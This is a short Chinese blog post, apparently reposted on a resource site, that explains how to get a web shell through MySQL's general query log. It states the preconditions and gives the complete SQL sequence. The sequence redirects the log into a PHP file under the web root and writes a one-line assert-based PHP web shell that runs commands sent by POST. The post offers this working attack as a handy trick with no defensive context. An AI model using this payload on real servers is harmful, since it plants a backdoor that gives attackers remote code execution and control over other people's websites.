【摘要】Mysql通过日志拿shellemmm~有点舒服条件:1.root2.网站物理路径3.文件位置未被限制SQL语句:set...
Mysql通过日志拿shell
emmm~有点舒服
条件:
1.root
2.网站物理路径
3.文件位置未被限制
SQL语句:
set global general_log = on; set global general_log_file = 'C:/phpStudy/WWW/dyboy.php'; select '<?php @assert($_POST["dyboy"]); ?>'; set global general_log = off;
未经允许不得转载:第一资源网 » 骚思路 | Mysql通过日志拿shell
小东
简介:专业团队网站开发、安全运维,合作意向请联系!
发表评论